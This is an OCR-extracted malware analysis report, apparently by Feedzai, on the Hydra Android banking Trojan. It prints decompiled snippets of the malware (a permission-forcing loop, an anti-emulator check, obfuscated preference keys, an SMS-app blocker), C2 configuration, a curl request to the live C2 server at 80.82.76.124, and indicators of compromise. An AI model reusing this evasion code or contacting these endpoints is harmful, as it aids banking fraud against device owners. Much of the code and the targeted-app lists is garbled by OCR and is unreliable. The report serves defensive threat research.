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Description of the Hydra Family

Hydra is an overlay-based Android banking Trojan similar to the notorious Anubis or Cerberus. Although
it was first detected in 2018, it was not until 2019 that the malware incorporated banking Trojan
functionalities. This malware was initially targeted exclusively at the Turkish banking sector and some
cryptocurrency applications. However, in the latest samples studied, the inclusion of new Spanish and
European banking institutions has been detected.
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Permissions Requested

The sample will repeatedly try to obtain all permissions in an insistent manner, thus causing the user
to be forced to grant the indicated permissions in order to break out of the loop. Once the sample is
running, this loop is not stopped, even if the device is rebooted or the application is closed from the
user’s application panel.

Permissions required in loop:

private Long PERMISSION_TIME_DISTANCE = 3@00L;

/* loaded from:
/Users/vega/Desktop/coper/banker_research/flash_banker/classes.dex */

public enum RequestType {
DEVICE_ADMIN,
ACCESSIBILITY_SERVICES,
SMS_ADMIN,
RUNTIME_PERMISSIONS,
PLAY_PROTECT,
PREMIUM_SMS,
SWITCH_SOUND,
BATTERY_OPTIMIZATION,
XIAOMI_AUTOSTART,
SECURITY_OFF,
NOTIFICATION_LISTENER,
NONE
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All attempts to obtain the indicated permissions are recorded via internal logging of the sample, both
failed and successful attempts:

T mber m224d ("PermissionActivity", " screencast permission requested");
I‘I E;

ationsListenerPermissionGranted(this)) {
ss1onﬂct1v1ty ication listener permission requested");
= RequesLType. IFICATION_LISTENER;
o ponent.notifica nListenerRequest(this);
else 1f (IPPrmHan 8 sAll(this)) {
this.currentRequ quUE'fI ype.RUNTIME_PERMISSIONS;
PermHandler.request
elseﬁ f"n_ : i ums ivated()) {
R 0 MIUM_SMS;
Perm1ss1onAct1v1ty premium sms permission requested”);
get().requestPremiumSms();
anager.get().getUiHandler().postDelayed(new Runnable() {
verride
public void run() {
PermissionsActivity.this.checkAllPermissions();

else if (! anagerImpl.isSmsEnabled()) {
this.currentRequestType = RequestType.SMS_ADMIN;
Timber .m224d("PermissionActivity", " default sms permission requested");
SmsHelper.regquestSetDefaultSmsApp(this, getPackageName());
else {
2 3 4 5 6

Once |t has obtained Once it has obtained all the necessary

permissions, it will hide the application

a" the necessary icon, making it impossible for the user

to uninstall the sample. As it is also

permiSSions, it will monitoring the user’s access to system

. . . settings, any attempt to reduce the app’s
hide the appllcatlon permissions will be stopped by the sample.
icon, making it
impossible for the user

to uninstall the sample.


http://feedzai.com

Hydra Malware Analysis

feedzal

Another task it will try to accomplish more quickly is to disable Google Play Protect to avoid being detect-

ed and removed via Google:

private
private
private
private
private
private
private

static
static
static
static
static
static
static

String MY_APPS_AND_GAMES;

String PLAY_PROTECT;

String PLAY_PROTECT_CHECK_APPS;
String PLAY_PROTECT_DISABLE_BTN_TEXT;
String PLAY_PROTECT_DISABLE_TEXT_OLD;
String SETTINGS;

String YES;
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Network Communications

In the second request to the remote server, it receives an APK with the actual payload and the initial sample
only acts as a dropper/loader:

02Z2-87-81 22:14:43 GET htt
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In subsequent requests, it receives the server configuration:

"action_back": @,
“action_home": 8,
"action_request phone": false,

“action_request_pin": false,

"apks": [1,

“approvedPin": null,

"bulk_body": null,

“bulk_sms": @,

"commands": null,

“disabledPackages": [],

“enable_keylogger": null,

"injectedApps": [],

"locked": false,

"notifications": [],

“openApp": null,

“proxyServer": null,

“remove_all": @,

“remove_app_by_id": null,

"settings": {

“base_url": ",

“hide_icon": true,

“zip_file_url":
"http://80.82.76.124:8082//storage/zip/avbnFa480gDahMdZZ3WNrXxU51dVELt2I
gOxh@aR.zip",

“zip_version":

}s
"showScreen": false,
“sms": null,

"smsAdminRequested": false,


http://feedzai.com

Hydra Malware Analysis feedZGT

After successfully registering on the remote server, it sends information about the infected device and the
C2 responds with the list of injects.

"success": true

Response

"stockInjects": [
"ae . almasraf .mobileapp”,
"alier bankingapp.android”,
"app.wizink.es",
"app.wizink.pt",
"ar.bapra",
"ar.com.bcopatagonia.ondroid”,
"ar.com. redlink.custom”,
"ar, com, santander. rio.mbanking”,
"ar.macra”,
"be.argenta. bankieren”,
"be. axa.mobilebanking”,
"be . belfius.directmobile android”,
"ca.mobile. explorer"
"cash. klever.blockchoin.wollet®,
"cgd. pt . caixadirectaparticulares”,
"co,bitx android.wallet”,
"co. com, bbva.mb"
"ea.mona. android"
"co.uk Nationwide . Mobile",
"com.aZa.android. burgan”,
"com, abanca. bm. pt",
"com, adch , bank" |
"com, akbank. android. opps. okbank_direkt”,
com, alahli.mobile.android”,
"com. albarakaapp” ,
"com.alibabo.aliexpresshd”,
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The configuration is updated in successive requests:

Request

"locked”: false,
"notifications": [1,
"opendpp”: null,
"proayServer': null,
“remove_all”: @,
"remove_app_by_id": null,
"settings": {

"age Ol "y

"hide_icon": true,
"zip_file_url": "http://80.B2. 76.124: 3882/ /storage/zip avbnFadB0gDahMdZZ3WNrXxUS1dVEL £2Tg0xh@aR, zip",

"zip_wversion": ""

1,

"showScreen”: false,

"sms": null,

"smshdminRequested": false,

"soundEnabled": 1,

"stockInjects": [
“oe.almasraf mobileapp”,
"olior. bankingapp.ondroid”,
“opp.wizink.es",
“opp.wizink.pt",
“or.bapra",
“gr.com.bcopatagonic. android”,
"or. com, redlink. custom®,
"ar.com.santander.ric.mbanking",
“ar.macro",
"be.argenta.bankieren®,
"be.axa.mobilebanking®,

"be.belfius. directmobile andreid”,
"ca.mobile .uilnrar" I

10
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Anti-Emulation

In order to avoid running in scanning environments, it has different checks on the make, fingerprint
and model of the device:

private static boolean isEmulator() {
return (Build.BRAND.startsWith("generic") &&

Build.DEVICE.startsWith("generic")) ||
Build.FINGERPRINT.startsWith("generic") ||
Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN) | |
Build.HARDWARE.contains("goldfish") || Build.HARDWARE.contains("ranchu")
|| Build.MODEL.contains("google_sdk") ||
Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK
built for x86") || Build.MANUFACTURER.contains("Genymotion") ||
Build.PRODUCT.contains("sdk_google") ||
Build.PRODUCT.contains("google sdk") || Build.PRODUCT.contains("sdk") ||
Build.PRODUCT.contains("sdk_x86") || Build.PRODUCT.contains("vbox86p")
|| Build.PRODUCT.contains("emulator") ||
Build.PRODUCT.contains("simulator");

}

11
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Remote Control of the Device

This family checks that the device has TeamViewer installed and once it detects its presence tries to hide
the application’s icon and use it to take remote control of the victim’s device:

num

%f {num
return;

null &8 i I= null && " Aull}y {

String str) {

return true

else if (
i t 1 fo, “androi
return true

else if (

return tr
else if

fdfeula_bottom_confirm_agres”,

ost_assigned

idden®, new Object

er.host.ma
1ewer _host.ma

12
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Shared Preferences

public class PrefsKeys {
public static final String default_sms_pkg = "param2";
public static final String request_sms = "paraml";
public static final String saved_sms_admin_state = "param3";

private static final String ADMIN_PANEL_URL = "admin_panel_url_";

private static final String ADMIN_PANEL_URL_LIST = "admin_panel_url_list_";

private static final String ATTEMPT_HANDLE_SOUND_SWITCH =
"attempt_to_handle_sound_switch_";

private static final String ATTEMPT_HANDLE_XIAOMI_AUTOSTART =
"attempt_to_handle_xiaomi_autostart_";

private static final String FIRST_TIME_ALL_PERMISSION_GRANTED =
"firs_all_prem_fnnksl_";

private static final String FORWARDING_PHONE_NUM = "pjsl_4ktojja_";

private static final String INSTRUCTIONS_SKIPPED = "instructions_skipped_";

private static final String IS_ACCESSIBILITY_FIRST_APPROVED =
"f jjfkic_access_mf43ksl_";

private static final String IS_APP_ICON HIDE = "is_app_icon_hide_";

private static final String IS_CALL_FORWARDING_ENABLED = "jsf3dl9nk_73_";

private static final String IS_FIRST _RUN = "is_first_run_";

private static final String IS_HIDDEN_PUSH_ENABLED = "hidden_push_";

private static final String IS_HUAWEI_OPTIMIZER_OFF = "huawei_optimizer";

private static final String IS_KEY_LOGGER_ENABLED = "ke_tt_y ffnroondl_";

private static final String IS_SECURITY_OFF = "is_security off_";

private static final String IS_TEAM_V_NOTIF_DISABLE =
"team_v_notif disable ";

private static final String IS_TOR_LOADED = "f loaded_tro_remf43ksl ";

private static final String LAST_UPDATING_URL_TIME =
"last_updating url time_";

private static final String PIN_CODE = "pin_code_";

private static final String PREFS_KEY_STOCK_INJECTS =
"stock_jneriisl_injects_nk_73_";

private static final String PREF_NAME = "pref_name_setting";

private static final String SECURITY_OFF_ATTEMPTS =
"security_off_attempts_";

private static final String TIME_OF_FIRST_RUN = "time_of_first_run_";

private static final String USER_PRESENT = "user_present_";

private static final String XIAOMI_AUTOSTART = "xiaomi_autostart_";

In order to prevent the configuration file from being easy to read, it uses enumerated parameters for the
configuration file keys.

13
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SMS Monitoring

This sample also attempts to monitor incoming messages on the victim’s device, as well as other
applications that can be used to replace the default SMS application. It also prevents the user from
accessing these applications. The list of messaging apps it monitors is as follows:

public static ArraylList<String> messengersList = new
ArrayList<>(Arrays.aslList("com.google.android.apps.messaging"”,
"com.samsung.android.messaging", "com.android.mms",
com.android.messaging", "record.coffee.nature",
com.google.android.talk", "com.bzgxhuoc.plyfxcf", "com.truecaller",
com.sonyericsson.conversations", "com.facebook.orca",
sms.mms .messages.text.free", "com.neudpurp.qpepdul”,
com.glpjxrte.zeoikrd", "com.oneplus.mms", "com.ezveekfs.tusiryv",
com.nkofkdnz.zmpjcvi", "com.cvgykwir.nlnjvki", "com.ijhziucj.xpidvgb",
com.lsxrvtac.orhvozg", "com.messages.messaging",
com.fgprkswi.jaiclbv", "com.motorola.messaging",
com.promessage.message", "com.home.sms.messages.emoji",
"idle.chimney.depend", "com.vdzbwmgd.rmqvvos", "com.fchhmcag.cnufkuf",
"com.dmmwxtru.ijwwpbz", "com.vpffhixc.zdbuujd", "com.xwaeyeuz.kqgbhdls",
"com.nilqzlkl.tufokgf", "com.xxvzwros.rfnxgtd", "com.llgacpcv.zlmzqcm",
"com.fdtvmepi.burbrsu", "com.mchaxjyh.trprxgm", "com.rfrzeaxw.vkmywcc",
"symptom.blame.license", "possible.stay.tank", "vacuum.wall.ticket",
"enjoy.fluid.shaft", "com.yriompce.gbncvht", "com.messages.chat",
"com.textra", "com.concentriclivers.mms.com.android.mms",
com.drwjamnb.bnekenw", "com.jdupasnn.eppgxem", "com.zui.mms",
org.thoughtcrime.securesms"”, "com.hkjbgrfw.tumpxhc",
com.simplemobiletools.smsmessenger", "com.ukaumypp.rjeceof",
com.zvceqgem.xfxernt", "error.mandate.open",
com.vladlee.easyblacklist", "com.banana.studio.sms",
"unhappy.parade.gaze", "vendor.token.paper",
"messenger.messenger.messenger.messenger",
"com.messaging.textrasms.manager", "tobacco.regular.width",
"pistol.they.maple", "com.link.messages.sms", "com.soqkndhu.xylxqjy",
"com.zeftqgaja.ebhyzfk", "com.izgaoxew.fmfhziv", "com.awohoowh.ketynvp",
com.buaepbau.hitptld", "com.zuvslnbf.oacxilq", "com.mjvirolw.brqgdya",
com.smscolorful . formessenger.messages"”, "com.wwmxjbno.rljxsca",
com.fispluea.nltpgpo”, "com.flash.sms.app", "com.dezfnbsx.rjapsci",
com.mchpw.words", "com.geabrpko.sdbaryv", "com.clear.water"));

14
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If any of these applications are opened, the user will be returned to the home screen:

} else if (SmsHelper.isDefaultSmsApp(this) &&
charSequence != null && SmsHelper.messengersList.contains(charSequence))
{

PermissionsActivity.showHomeScreen(this);
return;

public static void showHomeScreen(Context context) {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.setFlags(268435456);
context.startActivity(intent);

|screencast
socks5
[AppLauncherComponent. java
tteryOptimizationHandler. java
nt sComponent. java
omponent. j

ponent. java
ava
nt.java
xtComponen
Component.java

[XiaomiAutostartHandler.java

feedzal

15
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Components

>> NotificationsComponent: Control of device notifications

>> TextComponent: Device SMS control

> InstallsComponent: Control of device applications (install/uninstall)
BatteryOptimization

> PinComponent: Methods to control and reset device PIN

>> USSD: Component: Control of transfer codes

»> SOCKSS5: Implements a SOCKSS5 proxy server

>> Keylogger: Logs keystrokes made on the keyboard

>> Commands: Commands manager received from the C2, such as hiding ‘PUSH’
notifications.

JsonObject asJsonObject2 = JsonUtils.hasObject(jsonObject, "commands") ?
jsonObject.getAsJsonObject("commands") : null;
if (asJsonObject2 == null || IJsonUtils.hasObject(asdsonObject2,
"hidden_push") || (asJsonObject =
asJsonObject2.getAsJsonObject("hidden_push")) == null ||
IUsonUtils.hasObject(asdsonObject, "enabled")) {
return;

}

> Injects: Cookie Injections/WebViews

16
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The USSDComponent component is particularly important as it is responsible for intercepting security
codes when performing SMS or application transactions and sending this code to the attacker:

") getAsInt{});

By Int (num. intValue());

uthNode) |= null && (str = this.appld) != null) {

The PinComponent component will try to obtain the device’s pin and force the user to enter a new one,
thus capturing the unlock PIN, and also has Samsung and Huawei specific unlock screens:

public static String HUAWEI_PIN_SCREEN = "huawei.settings.pin";
private static final String ID _KEY_ = "some_key ";

public static final String LOG_TAG = "print event:";

public static String SAMS PASS SCREEN = "samsung.settings.pass";
public static String SAMS_PIN_SCREEN = "samsung.settings.pin";

17
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C2 Verification

curl -H 'Authorization: b667197b3f50a66b'
application/json' -H 'charset: utf-8' -H 'User-Agent: Dalvik/2.1.0
(Linux; U; Android 13; sdk_gphone64_armé64 Build/TPB3.220513.017)
'Host: 80.82.76.124:8082"' -H 'Connection: Keep-Alive'
POST http://80.82.76.124:8082/api/vl/device -d
"{"country":"us","admin_rights_enabled'
sdk_gphone64_armé64 - Android: 33

(13)","tag":"com.book.hotel", "push_token

-H 'Content-Type:

--compressed -X

false","os_version":"Google

:"","operator":"T-Mobile"}

Answer

{"success":true, "stockInjects":
.belfius.directnobile.android’,
ank. andzoid. apps. akbank_direkt!,
oid.application.cnb",

["oe.alnasxaf.mobileapp®, talior . bankingapn. sndzotds, tapp wizink est tapo wizink pt1, tor baprot, ax-con beopatagonia. andredd', tar-con. redlink custont, tox, con. santander. rio ¢ barking:  tax macror ub
"ca.mobile.explorer”,"cash.klever.block

ulares’, "co.bitx.android.wallet","co.com. bbva.mb", "
“com.alahli.mobile. anum)ﬂ",“cum.a]barakaaw“ Teon.a1ibaba. a1 pxprgnshd:,

bankieren", "b bil ", "be
d. burgan*, "con. abanca. bm.pt", "con.adcb. bank", *can. akb

"eon.ally NobiLeBanking", "con. alrajhiretailapp", ' con. anazon.nShop. P Sl B e M g Mt e

"com.avuscapi tal . trading212", "com.axabangue . fr", "com. bancocajasocial. 17, "com.bankia.wallet", "con.bankinter.launcher" , "com. bankinter. portugal.bmb", "con.barclaycardus", "com.bbt.myfi", "com. bbva bbvacontigo"  "com. b

bva.mobile.pt*, "com. bbva.netcash®, "con.bbva.nxt_peru", "con.bcp. bank .bcp”, "con. beobank_prod. ban“ Teom, sinance.dev?, "con, b)tcu)n meallet, con.bitrines. mublleﬂnn“,“cum Bither.one”, "con.bitnarket. trader”, con.bitpay wallet”, *con. bnoharris digital”, "con. buhp. paynents. paynents

app", "com. bnpp . easybanking" , "com. booking" , "com. botw.mobilebanking", " droid. clients?, et cdb", "com. btcturk", "com. bt O droid.mobilebanking" , ' com. caj d.bancamovil®,

. bile", "con.cbq.CBMobile" , " com. chase. Groid, meon-cic_pod.bad", rcon. cinbmalaysis®; et cmmunm“,“cum, t Lcec”, "com. citib: ile"

servis2d, seon.cn_prod.bad "eon. crcnarkets . androld-cfd", *con. coinbase. android", Icon. conarch.nobi le. banking.bazbnpparibas biznes ™,

le", "com.db.mm.norisbank", " co.db. pb

"com. cajasur .android",
, "con.citibank, CitibankMy" ,
.miabanca", "con.

"com.comarch.security.mobilebanking”,
ilen, "com.dib.app", "con. discoverfinancial.mobile",

D:rsuna]banklnn com. fackbook. katana: " com. fh. Daynay“,“cum.f)babanka Hibananka.nopiter. ncom b1 nativeapp”, "com. finansbank.mobile.cepsube",
jetingroup.mobilebanking", " con. goodbarber .ybrmalaysia® , "con.google. android.gn", "con. gzppl.android. shell. BOS"
T o hitteeh expereLing ted Ltbre, ~can: ideonobile - scauntt »con. ideanobile: hapoaline,
3. Stachan. triodasbank.robile. hanking: , “con. infonaw.bafar  *can. infosys. alh®

1 “wm,unz:nwanx,anuxumaw“,“wm clairmail.fth’, "com.cleverlance.csas.
*con. conpasssavingsbank. nobiler, ”cum.cunnectwltyabus.hutmai]“ *com. cooperativebank. bank ",  con CredanMobi
“com. ebay.mobile", "com.ebos. bos", "com. e1 ilen, elease, " bic®, "com. fab.
*Con. finanteq. finance.bgz*, *con. finanteq. finance.ca*,

Teon. filiet- spdeia. Labanauenostaie. accountacorsss “cum-uarant).ctnsub:s)“,“c
,"con. gzppl.android. shell. CMBl1oydsTS873", "com. gxppl. android. shell. halifax",
"com. ideonobile.nercantile”,

"con.grupoavalavL.bancanovil?, 'con. grupoavaloct. bancamovil?, "con. grupocajonaz wof fere
“com. ie. capitalone.uk”, "com.iexceed.CBS" " ", rcom, Le.novobanco”, "com. ind: e.banki", "com. indr
,"com. ing. banking", "com. ingbanktr. ingmobi1", *com. kbe.mobile. andreid.phone. kbe®, ' com. kbc .mobile.android. phone . kbe 2“,“cum.key.anumu",
vcom. kraken. trade", " om. kit xabank id", "com. mobil®, " 14", "con. Leuni. louniwallet", "con. Liberty. jaxx", "com. 1
.a]manbank“ *com. nbankuae. anch* , "con.ncon. Firstcitizens", "con.mediolanun®,
entnobile. prod”,

*com.mfoundry.mb. android.mb_136",

"com. kuny]ans.cap)tamne“,
“com.nyetherwallet.mewwallet",

"com.mtb.mbanking. sc. retail.prod”,

"com.konylabs. cbplpat, "com. konylabs. H
n.activity.creditdunord’,

lare”, "con.magiclick.odeabank® "com.mail.mobile .android.nail", " com.nasad. nativeapp", "com.nbanking
"con.microsoft.of fice.outlook” , "con.MizrahiTefahot. nh* , "con.mobilliun. papara® , *con.moneybooker s skrillpaynents. neteller” , "con.mootwin. natixis”,

"com. nanooai t. economiaemail, con.navyfederal . android", * con.NBQBank"

nativeapp", *con.paypal. android. p2pmobile®,

"com.myceliun.wallet",
scam. okinc. okex.gp" , "Gon. otsar.nativeapp", 'con.
sid.natueste, tcon. rbs.mobile.android. rbs”, hb

*com.morganstanley.cli
. "com.nearform.ptsbi, 'con.netflix.nediaclient", "com.ocito. cdn.activity. banquelaydernier®, "com.ocito.cd
“com. plunien.poloniex","con.P1us588" , "com. pnc.econmerce.mobile", *com. polehin.android®, "con.pozitron.iscep", "com. pttfinans”, *com.rak", "com.rbs.mobile.andr
neom. banking", "con.ri c?, veon. i, con. rsiColonyat, “com.samsung. android. enail.provider"  "com. sch. 36 bmn' , “com. s chuab. mobile"  “com. sella.Bancasellah, fcom.sib. retailt, com.starfinanz. smob.andeoid. s
", noom. axgu,pma.um,“cm targoes_prod bad",“cum.tdbank“ "com. teb”, "com. teb. ki 1%, "com. jalaboral®, "com. bitcoin.localtrader”,
cnm.uab.pezsunal“,"tulﬂ.ubezcah“,"cum.ubezcab.eats“,“r:uln.ubs.sme)(J.annlu)ﬂ”,“cum.un)creﬂlt“,“cnm.uuhu]n.wa]]et“,“cnm.usn.mubl]e.annzu)ﬂ.usaa”,
1let.crypto.trustapp", "com.wf.wellsfargomobile’ , "com.whatsapp", " con.woodforest",

"com. tmobtech.halkbank" , "com. todol.davivienda.mobileapp® , "com. todol.mobile", "
"con,vakifbank .mobile-, *con. vakifkatilin.mobil®, vcon. vipera. chebanca®

"com.yahoo.mobile. client .android.mail®, "com. ykb.android", "eom.yoox",
edicoop.bancanobile" , "cz.airbank.android”, "cz.csas. businessz4”,

,"com.vipera.nbf*, "con.vipera.ts.starter.MashreqAE", "con.wa

"com.zellepay.zelle", "com. ziraat. 21 bil®, "con.zi bilebanking'!, "con.zoluxiones. officebanking! , "coop. bancocr
62,6303 .gE0T08g0"  "G2. G50, Seb" G2, 050 SMaTthanking" "oz 030b. Snarthanking. cra”, "Gz cquabank .mobilebanking, "cz. fio. anmum.smanbrukc!“,“cz fio. sz "oz.kb. mba.buslncsi“,“cz.mbank“ "cz.moneta.smartbanka”, *
e2.rb.app. smartphonebanking®, "cz. seznam. email", de. condirect.android®, 'de. condirect. app", "d 1, vd 7de-dkb. portalapp”, "de. fiduci id.banking.vr", "de ndroid®, 'ds. postbank. Finanzassistent", 'd
o-santander. presentation*, *de. sdvrz.inb.aobile: app*  "ds. sdvrz .Lhb.nabiLe. ihb. i, "de. sdvrz i " dab. b t, "de. " enbit mobiLabanking" - . ~empresas act
ivamowil", "es.caixaontinyent.cai ntapp” " k.eali fore?, *es. cn. android, " es. evobanco. bancamnv)]‘ ves. )hel:a]a )bezca]aapp“,“es lacaixa.mobile.android. newnapicon®, ves-Liberbank. cajastuzapp“,"es openbank.mobile*,
B Ml s o S L i €, Veu.eleader.mobil ", "eu.inmite.pr3. kb.mobilbank",
populaire.cyberplus”, "fr.cnaf.mobile.noncompte" , "r.1c1.android. customerarea”,
t.bee.iccrea.nycartabee!,

"it.bnl.apps.banking", hit.carige",
"my. com. hsbe .hsbemalaysia®, tmy.

ing ,"pe.cum.scmamnk.nlpm.anuzum.cnent“,”ne.mcmncna.nw
ria.poczta_next", "pl.mbank? , "pl.nestbank.nestbank®

"es.orangebank.app”, "es. pibank. cus tome
"eu.netinfo.colpatria.systen®, ptan’ exadus?, "Finansbank. enpara®, £z _banque
T assens anaroid, jimba.muCT. cz“,“m.auecu.annrum.nmna UG a2 "hianed 5ot H1AGS. A, 1160 - yahav-Mobbanking il so.yellow. aDD“,”lu.ch app. prod", "io.metamask", "io.totalcoin.wallet","i
"it.copergmps. rt. pf.android. sp. bups!, it.creval. bancaparta!  vit.gruppobpar. ams. android.bper" it .ichpi mobile", 'it. nogood. container!, "mobi. societagenerals.nobile. Lapplit, *mobile. santander.de, 'my. con. henglsongesnn
bilet, inet. bitst ", net ,"net.inverline. 11.0fficelocator.android®, "o. ins tagran. android”, "org.electrun. electrun®,
,"piuk.blockchain. android", "pl.aliorbank.aib", 'pl.bph*, "pL. bps .bankowoscmobilna”,
+"pl.noblebank.mobile”, "pl.onet .mail",

ect.mobileconnect”,

"payumoney. "pe. t K
*p1.bznbk.bzwbk24", "pl.cinkciarz®, *pl. envelobank.aplikacia®, *pl. ideabank.mobilebanking”, *pl.ing. m]emu“,“pl int poczta®, 'pL inte
"pL.pkobp.iko", "pl.raiffeisen.nfc", "pl.sgb.wallet", "pl.up.pocztao2", "pl.wp.uppoczta", "posteitaliane. posteapp.appbpol", "posteitaliane. post: bileb
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You can also view the webviews of all the entities concerned.

A

L I

v

BINANCE

http://80.82.76.124/storage/injects/inj/com.binance.dev/index.htm
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|OCs

Sample hash

MD5: 732fe46¢c1b00262c45a4¢c19d043408c4
SHA-1: ca0507e4365a16b14c58c95ch8ec8090aal7fcd5
SHA-256: a77a37856876321de9bd1a33f53397233a2bad058558583b319e748d3746a5e6

Domains, IPs and URLs

ADMIN_PANEL_URLS_1(“https://babosiki.buzz”),
ADMIN_PANEL_URLS_2(“https://trustpoopin.xyz”),
ADMIN_PANEL_URLS_3(“https://trygotii.xyz"),
ADMIN_PANEL_URLS_4(“https://trytogoi.xyz")

C2

http://80.82.76.124:8082/payload
http://80.82.76.124:8082/api/v1/device/check?screen=true
http://80.82.76.124:8082/api/mirrors

http://80.82.76.124:8082/api/v1/device/lock
http://80.82.76.124:8082/api/v1/device/server-log
http://80.82.76.124:8082/storage/zip/avbnFa480gDahMdZZ3WNrXxU51dVELt2IgOxh0aR.zip
http://80.82.76.124:8082/api/v1/device
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Speak to an Expert

Awards and Recognition

o:!%dﬁmt Aite Chartis

Feedzai named a Feedzai named Feedzai named a
leader in SPARK best-in-class fraud and category leader in
Matrix AML. AML machine learning i

platform vendor
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